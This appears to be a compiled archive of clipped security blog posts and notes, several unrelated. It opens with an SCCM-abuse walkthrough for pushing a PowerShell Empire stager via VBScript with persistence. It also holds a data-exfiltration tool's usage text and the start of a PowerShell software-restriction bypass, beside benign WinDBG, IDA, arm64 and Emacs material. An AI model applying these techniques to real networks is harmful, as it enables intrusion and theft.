Say you don’t want to put your payload up on a share in order to abuse the “Get-Content | iex” method previously mentioned. Another option is to abuse the “Use a custom script to detect the presence of this deployment type” functionality. This allows you to specify custom code \(either in PowerShell, VBScript or Jscript\) that will be executed at the very beginning of the deployment during the installation check phase.
**Note:** The code in the script detection portion does NOT run as SYSTEM, but
rather in userland. SCCM also drops the script into C:\Windows\CCM\SystemTemp,
executes it and then deletes it. Because of this, it will leave a forensic
artifact on disk.

To do this, follow the instructions above for creating an application. Once
you reach the “Content” portion, you can put garbage in the “Installation
Program” field and leave the “Installation start in” field blank:

<img src='img/sccm_blank_field.png' width='690' height='161'
alt='sccm_blank_field' />

When you get to the “Detection Method” portion, select “Use a custom script to
detect the presence of this deployment type” and click “Edit”. This will open
the prompt to put in your custom code \(our payload\). SCCM does require that
PowerShell scripts be digitally signed, so any PowerShell code pasted in the
custom script box will not be executed unless there’s a digital signature. If
you attempt to bypass execution policy \(powershell.exe –ep bypass –c “code”\)
it will still fail. This is because SCCM takes the content of the script you
provided, writes it to a .ps1 on the target and tries to execute it, so the
system’s default ExecutionPolicy will apply.

To bypass this, we can use VBScript to execute our PowerShell payload. The
code to put in the script box will look something like this:

<img src='img/sccm_payload.png' width='690' height='694' alt='sccm_payload' />

You can find the VBScript wrapper code here. This is essentially a VBScript
wrapper that executes a PowerShell Empire stager. You can replace
“objProcess.Create “code”” with whatever PowerShell code you would like. You
can then proceed to finish creating and deploying the application. When the
client grabs the application, it will run this VBScript first and execute our
payload in user level context.

**Persistence**

Another amazing feature about SCCM is that it will grab the application and
execute it after a reboot. As long as the application we created is deployed
to our targets, it will execute our payload when it checks in after a reboot.
Because of this, we have persistence on our target group of computers without
needing to drop a file to disk, or utilize any of the traditional persistence
methods.

**Recap**

As an attacker, you can abuse SCCM to scope out targets on the network, group
selected targets together, and push out a memory only agent to those selected
targets simultaneously as either a normal user, or as SYSTEM. SCCM is often a
“Management Point” for most \(if not all\) workstations in the enterprise, and
because of this, the SCCM server will often have great, if not complete
visibility into the entire network. SCCM clients will also re-execute our
payload after a reboot, allowing us to remain persistent on a machine without
dropping a file to disk. Because of these features, SCCM makes for a great
platform to silently push agents out to select workstations without the need
to use normal lateral movement methods.

### Share this:

  * Twitter
  * Facebook
  * Google
  * 

 Like

Be the first to like this.

### _Related_

Offensive Operations with PowerSCCMWith 2 comments

An Empire Case StudyWith 1 comment

Lateral Movement using the MMC20.Application COM Object

Bookmark the permalink.

  

# Alex Ionescu’s Blog » Blog Archive » Some Vista Tips & Tricks

**Created:**| _9/3/2009 9:58:55 AM_  
---|---  
**Updated:**| _9/3/2009 9:59:05 AM_  
**Author:**| __  
**Tags:**| _Debugging windows security_  
  

## Some Vista Tips & Tricks

Here’s a couple of various useful tips I’ve discovered \(as I’m sure others
have\) which make my life easier on Vista, and saved me a lot of trouble.

**Fix that debugger\!**

I had done everything right to get local kernel debugging to work: I added
/DEBUG with bcdedit. I used WinDBG in Administrator mode, I even turned off
UAC. I made sure that all the debugging permissions were correct for admin
accounts \(SeDebugPrivilege\). I made sure the driver WinDBG uses was
extracted. Nothing worked\! For some reason, the system was declaring itself
as not having a kernel debugger enabled. I searched Google for answers, and
found other people were experiencing the same problem, including a certain
“Unable to enable kernel debugger, NTSTATUS 0xC0000354 An attempt to do an
operation on a debug port failed because the port is in the process of being
deleted” error message.

Here’s what I did to fix it:

  1. I used bcdedit to remove and re-add the /debug command:  _bcdedit /debug off _then  _bcdedit /debug on_
  2. I used bcdedit to force the debugger to be active and to listen on the Firewire port:  _bcdedit /dbgsettings 1394 /start active_
  3. I used bcdedit to enable boot debugging:  _bcdedit /bootdebug_
  4. I rebooted, and  _voila\!_ I was now able to use WinDBG in local kernel debugging mode.

**Get the debugger state**

In Vista, one must boot with /DEBUG in order to do any local kernel debugging
work, and as we all know, this disables DVD and high-def support to “ensure a
reliable and secure playback environment”. After a couple of days work, I find
myself sometimes forgetting if I had booted in debug mode or not, and I don’t
want to start WinDBG all the time to check — or maybe you’re in a non-
administrative environment and don’t want to use WinDBG. It’s even possible a
new class of malware may soon start adding /DEBUG to systems in order to
better infiltrate kernel-mode. Here’s two ways to check the state:

  1. Navigate to HKLM\System\CurrentControlSet\Config and look at the SystemStartOptions. If you see /DEBUG, the system was booted in debugging mode. However, because it may have been booted in “auto-enable” mode, or in “block enable” mode \(in which the user can then enable/disable the debugger at his will\), this may not tell you the whole story.
  2. Use kdbgctrl, which ships with the Debugging Tools for Windows.  _kdbgctrl -c _will tell you whether or not the kernel debugger is active right now.

What would be really worthwhile, is to see if DVD playback works with /DEBUG
on, but kernel debugging disabled with kdbgctrl, and if it stops playing \(but
debugging works\) if kdbgctrl is used to enable it.

**Access those 64-bit system binaries from your 32-bit app**

I regularly have to use IDA 64 to look at binaries on my Vista system, since
I’m using the 64-bit edition. Unfortunately, IDA 64 itself is still a 32-bit
binary, which was great when I had a 32-bit system, but not so great anymore.
The reason is WOW64’s file redirection, which changes every access to
“System32″ to “SysWOW64″, the directory containing 32-bit DLLs. But IDA 64 is
perfectly able \(and has to\!\) handle 64-bit binaries, so there wasn’t an
easy way to access those DLLs. Unfortunately, it looks like the IDA developers
haven’t heard of Wow64DisableFsRedirection, so I resorted to copying the
binaries I needed out of the directory manually.

However, after reverse engineering some parts of WOW64 to figure out where the
WOW64 context is saved, I came across a strange string — “sysnative”. It turns
out that after creating \(with a 64-bit app, such as Explorer\) a “sysnative”
directory in my Windows path, any 32-bit application navigating to it will now
get the “real” \(native\) contents of the System32 directory\! Problem
solved\!

So there you have it\! I hope at least one of these was useful \(or will be\),
and feel free to share your own\!

  

# Object Tracking and WinDBG « Analyze -v

**Created:**| _11/7/2013 2:23:38 PM_  
---|---  
**Updated:**| _11/7/2013 2:23:38 PM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

# **O** bject Tracking and WinDBG****

The Object Manager \(Ob\) in Windows provides and excellent feature called
object tracking, which causes the Ob to maintain a list of every active object
in the system**.** When activated, it allows you to find every driver object,
event object, file object, mutex object, etc**.** at any point in time via the
_\!object_ command**.** While the overhead of this is likely to be
unacceptable for everyday use, in certain debugging situations it can be
immensely helpful**.** For example, I recently debugged an issue where autochk
would not run when our file system filter was installed on the system**.** I
suspected that a rogue file object was preventing NTFS from dismounting, so I
turned on object tracking in order to quickly find the file object causing the
problem \(turned out to be multiple file objects\)**.**

Unfortunately things have changed in Windows 7 and the debugging tools haven’t
caught up so this no longer works, but I’ll provide a solution to that once I
get there…

_**Enabling Object Tracking**_

Object tracking is enabled via the FLG\_MAINTAIN\_OBJECT\_TYPELISTGFlags
option**.** You can enable this via the GFlags utility on the target machine,
but I prefer to do it via the debugger on a per-boot basis so that I don’t
have to remember to shut it off:

[code]

    1: kd> **!** gflag + otl
    Current NtGlobalFlag contents: 0x00004000
        otl - Maintain a list of objects for each type
[/code]

**Important note:** This _must_ be done very early in the boot process before
the Ob initializes**.** I recommend setting an initial break in the debugger
by using the WinDBG command  _CTRL+ALT+K_ and using the _**\!** gflag _command
at the initial break.

Once you’ve enabled the command, just hit Go and proceed to run whatever tests
or do whatever you like**.** Once you’re ready to start inspecting objects,
the path you will take will differ on Vista \(and earlier\) and Windows 7**.**

_**Dumping Objects Prior To Win7**_

Prior to Win7, life is fairly straightforward as the _**\!** object _command
supports walking the object list**.** The syntax for the command is:

[code]

    !object 0 Name
[/code]

Where _Name_ is documented to be:

_Name_

    If the first argument is zero, the second argument is interpreted as the name of a class of system objects for which to display all instances**.**
So, for example:

[code]

    !object 0 File
[/code]

[code]

    **!** object 0 Event
[/code]

[code]

    !object 0 Semaphore
[/code]

[code]

    **!** object 0 Device
[/code]

[code]

    !object 0 Driver
[/code]

Any of these will dump out all of the objects of that particular type and you
can then pick through and do whatever it is you do with that information**.**

**_Dumping Objects on Win7_**

Now for the fun part**.** If you attempt to run any of the above _\!object_
commands on a Win7 target, you’ll get the following error:

[code]

    1: kd> **!** object 0 File
    Scanning 723 objects of type 'File'
    WARNING: Object header 83d8bb48 flag (42) does not have
    OB_FLAG_CREATOR_INFO (4) set
[/code]

The problem is that starting with Win7, that flag no longer exists**.**
Instead, the object header tracks whether or not this feature is enabled via
another field in the header**.** So, unfortunately, the Ob changed but the
_\!object_ command wasn’t updated to reflect the changes**.**

We _can_ get this back though from a gratuitously complicated debugger command
that walks the list starting at an entry**.** Finding the starting entry could
be simplified, but I’ll make you find it manually because that’s how I did it
when I wrote the script and I don’t want to make it too easy on you <img
src='img/Temp2_5697.gif' alt=':)' />

Also, I’ll apologize in advance for the script being on a single line and thus
guaranteeing that it will require some sort of WinDBG Rosetta Stone in order
to decipher \(again, because that’s how I did it when I wrote it…Job
security**\!**\).

First, you’ll need to dump the global type variable for the type of objects
you want to see**.** Examples of these are **IoFileObjectType**
,**ExEventObjectType** ,**IoDriverObjectType** ,etc**.** \(if you’re having
trouble finding the name of the one you want just let me know\)**.** I’ll pick
the file object type:

[code]

    1: kd> x nt**!** iofileobjecttype
    82775a54 nt!IoFileObjectType = 0x83d656e0
    1: kd> dt nt**!** _object_type 0x83d656e0
       +0x000 TypeList         : _LIST_ENTRY [ **0x83d8bb38** - 0x846022d0 ]
       +0x008 Name             : _UNICODE_STRING "File"
       +0x010 DefaultObject    : 0x0000005c Void
       +0x014 Index            : 0x1c ''
       +0x018 TotalNumberOfObjects : 0x2d3
       +0x01c TotalNumberOfHandles : 0xaa
       +0x020 HighWaterNumberOfObjects : 0x691
       +0x024 HighWaterNumberOfHandles : 0xb6
       +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
       +0x078 TypeLock         : _EX_PUSH_LOCK
       +0x07c Key              : 0x656c6946
       +0x080 CallbackList     : _LIST_ENTRY [ 0x83d65760 - 0x83d65760 ] 
[/code]

Note the **TypeList** field**.** That’s the list of currently valid objects
for that type in the system in the form of OBJECT\_HEADER\_CREATOR\_INFO
structures, which currently exist directly before the object header**.** So,
TypeList entry address + sizeof\(OBJECT\_HEADER\_CREATOR\_INFO\) +
FIELD\_OFFSET\(OBJECT\_HEADER, Body\) is where the actual object address
is**.** I’ll put that all together into the following command \(I’m going to
break it up C style with “\” characters so you can see it, please remove
before actually using and make into a single line\):

[code]

    r @$t0 = @@(sizeof(nt**!** _object_header_creator_info) \
[/code]

[code]

    + #FIELD_OFFSET(nt**!** _object_header, Body)); \
[/code]

[code]

    **!** list "-x \".block {as /x Res @$extret+@$t0} ;\
[/code]

[code]

    .block{.echo ${Res}; **!** object ${Res}} ; \
[/code]

[code]

    ad /q Res\" 0x83d8bb38" 
[/code]

Note that the address used at the end of the command is from the _dt_ output
above in bold**.** Also remember that it’s written to occupy a single line, so
it needs to get pasted into the KD prompt with no newlines and those
backslashes removed**.** Running the command should provide you with
relatively the same output at the old _**\!** object _command on previous O/S
releases.

If you’d like to clean up the script or, even better, turn it into a debugger
extension that takes a name like _**\!** object_, please let me know or send
along the results**.** Right now it’s on my ever increases prioritized list of
things to do and I’d like to take it off <img src='img/Temp2_5697.gif'
alt=':)' />

This entry was posted on Wednesday, August 25th, 2010 at 7:55 am and is filed
under WinDBG , Windows internals **.** You can follow any responses to this
entry through the RSS 2**.** 0  feed. Both comments and pings are currently
closed**.**

****

# TippingPoint | DVLabs | MindshaRE: Extending IDA with Custom Viewers
**Created:**| _5/15/2011 7:52:47 PM_  
---|---  
**Updated:**| _5/15/2011 7:52:47 PM_  
**Author:**| __  
**Tags:**| _iDA reversing programming_  
  

##  MindshaRE: Extending IDA with Custom Viewers

  * By Aaron Portnoy
  * Wed 11 May 2011 01:24am 
  * 1550 Views 
  * 0 Comments
  * Link

Anyone who utilizes IDA Pro is very likely familiar with the concept of
subviews, the window panes that give a reverser the ability to view and query
many characteristics of a binary stored in IDA's database. The default views
available in IDA are great for displaying generic characteristics of any
disassembled object. However, as is quite often the case, one may wish to
collect data about an application \(or otherwise\) that may be more
specifically targeted.  
  
For example, we often find ourselves reversing a file format parser for one
reason or another. Many of them support various FourCC-based formats \(like
MOV, RealMedia, Shockwave, PNG, ICC, ...\) and as such usually have code that
resembles this:  
  
  
<img src='http://dvlabs.tippingpoint.com/../img/fourcc_cmps.png' />  
  
These compares are useful to locate as they will usually be dealing with an
input file and given some complementary runtime data, these locations can help
us understand a bit about how the parser may work. So, as Elias Bachaalany
demonstrated on the Hex-Rays blog \(http://www.hexblog.com/?p=119\) IDA
supports custom viewer creations. I'll show how to implement a quick,
clickable interface to FourCC compares within a binary.  
  
First, we need code to find FourCC compares:  
  
  

[code]

      
    import string  
      
      
    fourccs = []  
      
      
    # loop functions  
      
    for func in Functions():  
      
      
      
    	# loop instructions  
      
    	for instr in FuncItems(func):  
      
    		  
    		# only care about compares  
      
    		disasm = GetDisasm(instr)  
      
    		if "cmp" in disasm and "offset" not in disasm:  
      
      
      
    			# ensure immediate compare  
      
    			if GetOpType(instr, 1) == 5 and GetOpType(instr, 0) == 1:  
    				  
      
    				# ensure at least 3 bytes of ASCII in the immediate  
      
    				opval = GetOpnd(instr, 1)  
      
      
      
    				try:  
      
    					opval = int(opval[:-1], 16)  
      
    					opval = struct.pack('>L', opval)  
      
    				except ValueError:  
      
    					pass  
      
    					  
      
    				oplen = len(opval)  
      
    				opstrlen = len("".join((x for x in opval if x in string.printable)))  
      
      
      
    				if (opstrlen >= 3):  
      
    					# change it to character representation in IDA  
      
    					OpChr(instr, 1)  
      
    					fourccs.append((instr, opval))  
      
    					print "0x%08x: %s" % (instr, GetOpnd(instr, 1))  
      
    
[/code]

  
  
This should output something like the following:  
  
  
  
<img src='http://dvlabs.tippingpoint.com/../img/output_window.png' />  
Now, we can build a custom viewer and populate it with our data:  
  

[code]

    class FourCCViewer(idaapi.simplecustviewer_t):  
      
      
      
    	def __init__(self, data):  
      
    		self.fourccs = data  
      
    		self.Create()  
      
    		print "Launching FourCC subview..."  
      
    		self.Show()  
      
      
      
    	def Create(self):  
      
    		title = "FourCCs"  
      
              
      
    		idaapi.simplecustviewer_t.Create(self, title)  
      
              
      
    		comment = idaapi.COLSTR("; Double-click to follow", idaapi.SCOLOR_BINPREF)  
      
    		self.AddLine(comment)  
      
    		comment = idaapi.COLSTR("; Hover for preview", idaapi.SCOLOR_BINPREF)  
      
    		self.AddLine(comment)  
      
      
      
    		for item in self.fourccs:  
      
    			addy = item[0]  
      
    			immvalue = item[1]  
      
    			address_element = idaapi.COLSTR("0x%08x: " % addy, idaapi.SCOLOR_REG)  
      
    			value_element = idaapi.COLSTR("%s" % immvalue, idaapi.SCOLOR_STRING)  
      
    			line = address_element + value_element  
      
    			self.AddLine(line)  
      
      
      
    		return True  
      
      
      
    	def OnDblClick(self, something):  
      
      
      
    		line = self.GetCurrentLine()  
      
    		if "0x" not in line: return False  
      
      
      
    		# skip COLSTR formatting, find address  
      
    		addy = int(line[2:line.find(":")], 16)  
      
    		Jump(addy)  
      
      
      
    		return True    
      
      
      
      
      
    	def OnHint(self, lineno):  
      
    		if lineno < 2: return False  
      
    		else: lineno -= 2  
      
      
      
    		line = self.GetCurrentLine()  
      
    		if "0x" not in line: return False  
      
      
      
    		# skip COLSTR formatting, find address  
      
    		addy = int(line[2:line.find(":")], 16)  
      
      
      
    		disasm = idaapi.COLSTR(GetDisasm(addy) + "\n", idaapi.SCOLOR_DREF)  
      
    		return (1, disasm)    
    
[/code]

  
  
  
Now we just need to instantiate an instance of FourCCViewer and it should pop
up a new subview that looks like so \(assuming you've already run the fourCC
finding code above\):  
  

[code]

      
    foo = FourCCViewer(fourccs)  
    
[/code]

  
  
<img src='http://dvlabs.tippingpoint.com/../img/custview.png' width='301'
height='638' />  
  
  
Pretty simple stuff, but it can come in handy when you've got an arsenal of
extra analysis runs you perform prior to reversing a complex binary. A
slightly more interesting use case for this was when displaying data scraped
from a run time histogram of Shockwave's memory manager as Logan and I spoke
about at CanSecWest this year:  
  
<img src='http://dvlabs.tippingpoint.com/../img/smartheap_histogram.png'
width='573' height='398' />  
  
  
That's all for now, hopefully we can get some more MindshaRE posts in the
pipeline.  
  
\--  
Aaron  

# Automated vulnerability analysis of zero sized heap allocations

**Created:**| _4/17/2010 8:15:12 PM_  
---|---  
**Updated:**| _4/17/2010 8:15:59 PM_  
**Author:**| __  
**Tags:**| _windows security research reversing Hacks Microsoft vulnerability
presentation-material awesome_  
  
<img src='img/Temp2_939' />

# Siguza/ios-resources

**Created:**| _9/4/2017 9:46:59 AM_  
---|---  
**Updated:**| _9/4/2017 9:46:59 AM_  
**Author:**| _wishi_  
**Tags:**| _asm_  
  

  

# arm64 assembly crash course

_Note: May or may not be specific to iOS._

### Registers

  * General purpose registers 0 through 30 with two addressing modes: 
    * ` w0 ` = 32-bit
    * ` x0 ` = 64-bit
  * Zero register ` wzr ` or ` xzr `. Write to = discard, read from = ` 0 `.
  * Stack pointer ` sp ` \- unlike other instruction sets, never modified implicitly \(e.g. no ` push `/` pop `\).
  * Instruction pointer ` pc `, not modifiable directly.
  * A lot of float, vector and system registers, look up as needed.
  * First register in assembly is usually destination, rest are source \(except for ` str `\).

### Register manipulation

  * ` mov ` to copy one register to another, e.g. ` mov x0, x1 ` -> ` x0 = x1 `.
  * Constant ` 0 ` loaded from ` wzr `/` xzw `.
  * Small constants usually OR'ed with zero register, e.g. ` orr x0, xzr, 5 `.
  * Big constants usually loaded with ` movz `+` movk `, e.g.: 
[code]    movz x0, 0x1234, lsl 32

    movk x0, 0x5678, lsl 16
    movk x0, 0x9abc
[/code]

-> ` x0 = 0x123456789abc `.
  * ` movn ` for negative values, e.g. ` movn x0, 1 ` -> ` x0 = -1 `.
  * ` lsl ` and ` lsr ` instructions = logic-shift-left and logic-shift-right, e.g. ` lsl x0, x0, 8 ` -> ` x0 <<= 8 `. 
    * ` lsl ` and ` lsr ` not only used as instructions, but also as operands to other instructions \(see ` movz ` above\).
    * ` asl ` for arithmetic shift also exists, but less frequently used.
  * Lots of arithmetic, logic and bitwise instructions, look up as needed.

### Memory

  * ` ldr ` and ` str ` with multiple variations and addressing modes: 
    * ` ldr x0, [x1] ` -> ` x0 = *x1 `
    * ` str x0, [x1] ` -> ` *x1 = x0 `
    * ` ldr x0, [x1, 0x10] ` -> ` x0 = *(x1 + 0x10) `
    * ` ldp `/` stp ` to load/store two registers at once behind each other, e.g.:  
` stp x0, x2, [x2] ` -> ` *x2 = x0; *(x2 + 8) = x1; `

    * Multiple variations for load/store size: 
      * Register names ` xN ` for 64-bit, ` wN ` for 32-bit
      * ` ldrh `/` srth ` for 16-bit
      * ` ldrb `/` strb ` for 8-bit
    * Multiple variations for sign-extending registers smaller than 64-bit: 
      * ` ldrsw x0, [x1] ` -> load 32-bit int, sign extend to 64-bit
      * ` ldrsh x0, [x1] ` -> load 16-bit int, sign extend to 64-bit
      * ` ldrsb x0, [x1] ` -> load 8-bit int, sign extend to 64-bit
      * \(No equivalent ` str ` instructions\)
  * Three register addressing modes: 
    * Normal: ` ldr x0, [x1, 0x10] `
    * Pre-indexing: ` ldr x0, [x1, 0x10]! ` \(notice the ` ! `\) -> ` x1 += 0x10; x0 = *x1; `
    * Post-indexing: ` ldr x0, [x1], 0x10 ` -> ` x0 = *x1; x1 += 0x10; `
  * Memory addresses usually computed by PC-relative instructions: 
    * ` adr x0, 0x12345 ` \(only works for small offset from PC\)
    * Bigger ranges use ` adrp `+` add `: 
[code]        adrp x0, 0xffffff8012345000 ; "address of page", last 12 bits
are always zero

        add x0, x0, 0x678
[/code]

    * Even bigger ranges usually stored as pointers in data segment, offset by linker and loaded with ` ldr `.

### Calling convention

  * ` x0 `-` x7 ` first 8 arguments, rest on the stack \(low address to high\) with natural alignment \(as if they were members of a struct\)
  * ` x8 `-` x17 ` scratch registers
  * ` x18 ` reserved \(unused\)
  * ` x19 `-` x28 ` callee-saved
  * ` x29 ` frame pointer \(basically also just callee-saved\)
  * ` x30 ` return address
  * Functions that save anything in ` x19 `-` x28 ` usually start like this: 
[code]    stp x24, x23, [sp, -0x40]!

    stp x22, x21, [sp, 0x10]
    stp x20, x19, [sp, 0x20]
    stp x29, x30, [sp, 0x30]
    add x29, sp, 0x30
[/code]

and end like this:

[code]    ldp x29, x30, [sp, 0x30]

    ldp x20, x19, [sp, 0x20]
    ldp x22, x21, [sp, 0x10]
    ldp x24, x23, [sp], 0x40
    ret
[/code]

The stack for local variables is usually managed separately though, with ` add
sp, sp, 0x... ` and ` sub sp, sp, 0x... `.

  * Variadic arguments are passed on the stack \(low address to high\), each promoted to 8 bytes. Structs that don't fit into 8 bytes have a pointer passed instead.  
Fixed arguments that don't fit into ` x0 `-` x7 ` come before variadic
arguments on the stack, naturally aligned.

### Conditions

  * System register ` nzcv ` holds condition flags \(Negative, Zero, Carry, oVerflow\).  
Set by one instruction and acted upon by a subsequent one, the latter using
condition codes.  
\(Could be accessed as normal system register, but usually isn't.\)

  * Some instructions use condition codes as suffixes \(` instr.cond `\), others as source operands \(` instr ..., cond `\). List of condition codes: 
    * ` eq `/` ne ` = equal/not equal
    * ` lt `/` le `/` gt `/` ge ` = less than/less or equal/greater than/greater or equal \(signed\)
    * ` lo `/` ls `/` hi `/` hs ` = lower/lower or same/higher/higher or same \(unsigned\)
    * A few more weird flags, seldom used.
    * Unlike many other instruction sets, arm64 sets carry on no-borrow rather than borrow.  
Thus, ` cs `/` cc ` = carry set/carry clear are aliases of ` hs `/` lo `.

  * ` cmp ` = most common/basic compare instruction, sets condition flags. Examples: 
[code]    cmp x0, x1

    cmp x0, 3
[/code]

  * Other instructions that set condition flags: 
    * ` cmn ` = compare negative
    * ` tst ` = bitwise test
    * ` adds `/` adcs ` = add/add with carry
    * ` subs `/` sbcs ` = subtract/subtract with carry
    * ` negs `/` ngcs ` = negate/negate with carry
    * Some more bitwise and float instructions.
  * Some instructions that act on condition flags: 
    * ` cset ` = conditional set, e.g.: 
[code]        cmp x0, 3

        cset x0, lo
[/code]

-> ` x0 = (x0 < 3) `
    * ` csel ` = conditional select, e.g.: 
[code]        cmp x0, 3

        csel x0, x1, x2, lo
[/code]

-> ` x0 = (x0 < 3) ? x1 : x2 `  
\(Translates nicely to ternary conditional.\)

    * ` ccmp ` = conditional compare, e.g.: 
[code]        cmp x0, 3

        ccmp x0, 7, 2, hs
        b.hi 0xffffff8012345678
[/code]

-> ` hi ` condition will be true if ` x0 < 3 || x0 > 7 ` \(third ` ccmp ` operand is raw ` nzcv ` data\).  
Often generated by compiler for logical and/or of two conditions.

    * Many, many more.

### Branches

  * ` b ` = simple branch, jump to PC-relative address.  
Can be unconditional:

[code]    b 0xffffff8012345678

[/code]

or conditional:

[code]    cmp x0, 3

    b.lo 0xffffff8012345678 ; jump to 0xffffff8012345678 if x < 3
[/code]

Used primarily within function for flow control.

  * Shortcuts ` cbz `/` cbnz ` = compare-branch-zero and compare-branch-non-zero.  
Just shorter ways to write

[code]    cmp xN, 0

    b.eq 0x...
[/code]

or

[code]    cmp xN, 0

    b.ne 0x...
[/code]

\(Translate nicely to C ` if(x) ` or ` if(!x) `.\)

  * Shortcurts ` tbz `/` tbnz ` = test single bit and branch if zero/non-zero.  
E.g. ` tbz x0, 3, ... ` translates to ` if((x0 & (1 << 3)) == 0) goto ... `.

  * ` bl ` = branch-and-link \(e.g. ` bl 0xffffff8012345678 `\)  
Store return address to ` x30 ` and jump to PC-relative address. Used for
static function calls.

  * ` blr ` = branch-and-link to register \(e.g. ` blr x8 `\)  
Store return address to ` x30 ` and jump to address in ` x8 `. Used for calls
with function pointers or C++ virtual methods.

  * ` br ` = branch to register \(e.g. ` br x8 `\)  
Jump to address in ` x8 `. Used for tail calls.

  * ` ret ` = return to address in register, default: ` x30 `  
Can in theory use registers other than ` x30 ` \(e.g. ` ret x8 `\), but
compiler doesn't usually generate that.

  

# mossmann's blog: a $16 pocket spectrum analyzer

**Created:**| _1/1/2011 10:54:00 AM_  
---|---  
**Updated:**| _1/1/2011 10:54:16 AM_  
**Author:**| __  
**Tags:**| _Hacks DSP_  
  

### a $16 pocket spectrum analyzer

ShmooCon was, once again, a fantastic experience this year. One of many
highlights of this year's event for me was hacking on some radio devices with
Travis Goodspeed in the hotel bar for hours on end. This included playing with
the IM-Me that he brought. As soon as I got home I ordered one. I found mine
for $15.99 and free shipping on eBay.

<img src='img/Temp2_10469.jpg' />Since then I've written custom firmware to
turn my IM-Me into a pocket spectrum analyzer, shown here displaying activity
of a frequency hopping system at a grocery store. The only change I've made to
the hardware is the addition of a ribbon cable in order to easily connect to
aGoodFET for programming, but this is simply creating a permanent connection
to the debug contact points that are already exposed in the battery
compartment. I've followed Travis's advice on how to develop for the platform.

<img src='img/Temp2_10470.jpg' />The software tunes the IM-Me's radio chip to
one frequency at a time, uses the chip's RSSI measurement function, and plots
the result as one column on the LCD. It sweeps across the whole screen \(132
columns\) several times per second, showing a contiguous range of radio
frequency activity. The technique works quite well, although there are a few
defects. Most notably, harmonics of the IM-Me's 26 MHz crystal show up as
spurs on the display.

The frequency ranges supported by my device are 281 - 361, 378 - 481, and 749
- 962 MHz. This is about 50% more than the chip is advertised to support and
covers quite a bit of interesting activity in the US including ISM, LMR,
television, amateur bands, pagers, and mobile phones. The edges of the bands
supported by other batches of chips may differ but probably not by much.

<img src='img/Temp2_10471.jpg' />The software supports three bandwidth modes:
wide \(default\), narrow, and ultrawide. Wide mode displays 26.4 MHz of
bandwidth in 200 kHz increments. Narrow mode displays 6.6 MHz of bandwidth in
50 kHz increments. Ultrawide mode, shown here with some mobile phone activity,
displays 88 MHz of bandwidth in 667 kHz increments.

The code is open and available here. I'd love to hear from you if you give it
a try. Huge thanks to both Travis and Dave who did the hard reverse
engineering work\!

  

# Emacs Python completion

**Created:**| _10/30/2009 10:31:27 AM_  
---|---  
**Updated:**| _10/30/2009 10:31:53 AM_  
**Author:**| __  
**Tags:**| _python programming Emacs_  
  

# Emacs Python completion

The purpose of this package is to support Python code completion and to make
easier to use Python documentation using Emacs.

There are available following features:

  1. code completion hitting <TAB> \(or <C-M-i>\) key:
e.g.:

[code]    time.cl<TAB> -> time.clock

    
    time.<TAB> -> list of possible choices
    
[/code]

  2. description of the element \(function/module/class/keyword\) at the point hitting <F1> key
  3. hitting '\(' and ',' shows funtion signature
e.g.:

[code]    time.strftime( -> strftime(format[, tuple]) -> string

    
[/code]

  4. <F2> getting signature of a given function name
  5. <F3> getting description of a given element name

# Requirements

  1. Pymacs
  2. python-mode or included in this package

# Installation

  1. Install Pymacs
  2. Copy files python-mode.el and pycomplete.el on your Emacs load\_path \(e.g. /usr/share/emacs/site-lisp\).
  3. Copy file pycomplete.py on your PYTHONPATH \(e.g. /usr/lib/python2.5/site-packages\)
  4. Copy the following settings to your .emacs file

[code]

    (require 'pycomplete)
    (setq auto-mode-alist (cons '("\\.py$" . python-mode) auto-mode-alist))
    (autoload 'python-mode "python-mode" "Python editing mode." t)
    (autoload 'pymacs-load "pymacs" nil t)
    (autoload 'pymacs-eval "pymacs" nil t)
    (autoload 'pymacs-apply "pymacs")
    (autoload 'pymacs-call "pymacs")
    (setq interpreter-mode-alist(cons '("python" . python-mode)
                                 interpreter-mode-alist))
    
[/code]

# Automating Software Testing Using Program Analysis

**Created:**| _9/9/2009 3:11:43 PM_  
---|---  
**Updated:**| _9/10/2009 9:31:30 AM_  
**Author:**| __  
**Tags:**| _papers_  
  
<img src='img/Temp2_947' />

# dancezarp/TBDEx

**Created:**| _6/29/2017 3:57:33 PM_  
---|---  
**Updated:**| _6/29/2017 3:57:33 PM_  
**Author:**| __  
**Tags:**| __  
  

  

\# TBDEx Time Based Data Exfiltration Tool  

usage: timebased.py \[-h\] \[-url URL\] \[-post POST\] \[-threads THREADS\]  
\[-cookie COOKIE FILE\] \[-file HEADER FILE\] \[-retry RETRY\]  
\[-timeout TIMEOUT\] \[-time AVGTIME\] \[-os OS\]  
\[-payload limit LIMIT\] \[-force write\] \[-tmp\]  

Time Based Data Exfiltration Tool  

optional arguments:  
-h, --help show this help message and exit  
-url URL URL  
-post POST POST  
-threads THREADS Threads  
-cookie COOKIE FILE Cookie File  
-file HEADER FILE Burp request file  
-retry RETRY Retry request N times in case of network errors  
-timeout TIMEOUT General timeout request  
-time AVGTIME Added timeout to request  
-os OS OS type \(U unix/linux , W windows\)  
-payload limit LIMIT If there is any command length limitation  
-force write Force writing auxiliary files  
-tmp Writing auxiliary files in tmp folder  

[code]

    For this to work pycurl must be installed:
    pip install pycurl
    or
    apt-get install pycurl
    or
    apt-get install python-pycurl
[/code]

  

# hype-free: Bypassing SRP from PowerShell

**Created:**| _7/22/2009 1:03:15 PM_  
---|---  
**Updated:**| _7/22/2009 1:03:24 PM_  
**Author:**| __  
**Tags:**| _windows security powershell_  
  

### Bypassing SRP from PowerShell

<img src='img/Temp2_10336.jpg' width='244' height='184'
alt='3692117840_8e53e98b8b_b' />When discussing with a reader of mine, I
mentioned that the same method \(patching the local process\) should be
possible using PowerShell. And here is the code:

[code]

    #########################################################
    #  This is a general purpose routine that I put into a file called
    #   LibraryCodeGen.msh and then dot-source when I need it.
    #########################################################
    function Compile-Csharp ([string] $code, $FrameworkVersion="v2.0.50727", [Array]$References)
    {
        #
        # Get an instance of the CSharp code provider
        #
        $cp = new-object Microsoft.CSharp.CSharpCodeProvider
    
        #
        # Build up a compiler params object...
        $framework = Join-Path $env:windir "Microsoft.NET\Framework\$FrameWorkVersion"
        $refs = new-object Collections.ArrayList
        $refs.AddRange( @("${framework}\System.dll",
            "${framework}\system.windows.forms.dll",
            "${framework}\System.data.dll",
            "${framework}\System.Drawing.dll",
            "${framework}\System.Xml.dll"))
        if ($references.Count -ge 1)
        {
            $refs.AddRange($References)
        }
    
        $cpar = New-Object System.CodeDom.Compiler.CompilerParameters
        $cpar.GenerateInMemory = $true
        $cpar.CompilerOptions = "-unsafe"    
